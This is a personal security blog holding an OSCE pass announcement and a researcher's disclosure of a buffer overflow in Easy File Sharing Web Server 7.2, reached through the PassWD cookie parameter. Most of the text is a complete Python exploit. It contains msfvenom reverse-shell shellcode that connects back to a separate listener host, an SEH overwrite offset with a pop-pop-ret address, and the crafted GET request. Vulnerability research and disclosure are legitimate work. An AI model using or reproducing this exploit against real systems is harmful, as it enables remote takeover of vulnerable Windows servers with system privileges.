Friday, September 1, 2017

OSCE Certified

Got the good news last week that I passed the OSCE Exam.  Will miss muts' tricky machines and the way he pronounces the word "code".

Wednesday, June 28, 2017

Zero-day Exploit Easy File Sharing Webserver 7.2 GET HTTP Request (PassWd) Buffer Overflow (SEH)

https://www.exploit-db.com/exploits/42261/

Disclosure of the zero-day vulnerability I found, exploited, and disclosed regarding Easy File Sharing Web Server 7.2.  GET HTTP request, PassWD parameter.

Set up the application in a WinXP SP3 VM in my lab, loaded the app. Found an exploitable crash via fuzzing with Spike that was previously undisclosed.  Replicated the crash using python, then refined and exploited it gaining system level privileges on the machine.

exploit.py

#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19 June 2017
# Exploit Author: clubjk
# Author Contact: jk@jkcybersecurity.com
# Vendor Homepage: http://www.sharing-file.com
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
# Usage: ./exploit.py
# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...
# [*] Sending improperly formed request...
# [!] Request has been sent!
import socket,os,time, sys
  
host = "192.168.188.132"
port = 80
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
buf =  ""
buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xba\xb7\xe7\x7d\x1e\x29"
buf += "\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\xe0\xf4\x9f"
buf += "\xeb\xf2\x13\xdd\x14\x0a\xe4\x82\x9d\xef\xd5\x82\xfa"
buf += "\x64\x45\x33\x88\x28\x6a\xb8\xdc\xd8\xf9\xcc\xc8\xef"
buf += "\x4a\x7a\x2f\xde\x4b\xd7\x13\x41\xc8\x2a\x40\xa1\xf1"
buf += "\xe4\x95\xa0\x36\x18\x57\xf0\xef\x56\xca\xe4\x84\x23"
buf += "\xd7\x8f\xd7\xa2\x5f\x6c\xaf\xc5\x4e\x23\xbb\x9f\x50"
buf += "\xc2\x68\x94\xd8\xdc\x6d\x91\x93\x57\x45\x6d\x22\xb1"
buf += "\x97\x8e\x89\xfc\x17\x7d\xd3\x39\x9f\x9e\xa6\x33\xe3"
buf += "\x23\xb1\x80\x99\xff\x34\x12\x39\x8b\xef\xfe\xbb\x58"
buf += "\x69\x75\xb7\x15\xfd\xd1\xd4\xa8\xd2\x6a\xe0\x21\xd5"
buf += "\xbc\x60\x71\xf2\x18\x28\x21\x9b\x39\x94\x84\xa4\x59"
buf += "\x77\x78\x01\x12\x9a\x6d\x38\x79\xf3\x42\x71\x81\x03"
buf += "\xcd\x02\xf2\x31\x52\xb9\x9c\x79\x1b\x67\x5b\x7d\x36"
buf += "\xdf\xf3\x80\xb9\x20\xda\x46\xed\x70\x74\x6e\x8e\x1a"
buf += "\x84\x8f\x5b\x8c\xd4\x3f\x34\x6d\x84\xff\xe4\x05\xce"
buf += "\x0f\xda\x36\xf1\xc5\x73\xdc\x08\x8e\xbb\x89\xae\xcb"
buf += "\x54\xc8\xce\xda\x8d\x45\x28\xb6\xdd\x03\xe3\x2f\x47"
buf += "\x0e\x7f\xd1\x88\x84\xfa\xd1\x03\x2b\xfb\x9c\xe3\x46"
buf += "\xef\x49\x04\x1d\x4d\xdf\x1b\x8b\xf9\x83\x8e\x50\xf9"
buf += "\xca\xb2\xce\xae\x9b\x05\x07\x3a\x36\x3f\xb1\x58\xcb"
buf += "\xd9\xfa\xd8\x10\x1a\x04\xe1\xd5\x26\x22\xf1\x23\xa6"
buf += "\x6e\xa5\xfb\xf1\x38\x13\xba\xab\x8a\xcd\x14\x07\x45"
buf += "\x99\xe1\x6b\x56\xdf\xed\xa1\x20\x3f\x5f\x1c\x75\x40"
buf += "\x50\xc8\x71\x39\x8c\x68\x7d\x90\x14\x98\x34\xb8\x3d"
buf += "\x31\x91\x29\x7c\x5c\x22\x84\x43\x59\xa1\x2c\x3c\x9e"
buf += "\xb9\x45\x39\xda\x7d\xb6\x33\x73\xe8\xb8\xe0\x74\x39"
crash = "/.:/"                #unusual but needed
crash += "A"*53               #offset
crash += "\xeb\x10\x90\x90"   #seh
crash += "\x05\x86\x01\x10"   #pop pop ret ImageLoad.dll (WinXP SP3)
crash += "D"*10               #junk
crash += buf                  #shellcode
crash += "E"*2600             #total string needs to be about 3000 chars
  
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"
print "[*] Connecting to Target " + host + "...standby..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((host, port))
    print "[*] Successfully connected to " + host + "!!!"
except:
    print "[!] " + host + " didn't respond\n"
    sys.exit(0)
print "[*] Sending improperly formed request..."
s.send(request + "\r\n\r\n")
print "[!] Request has been sent!\n"
s.close()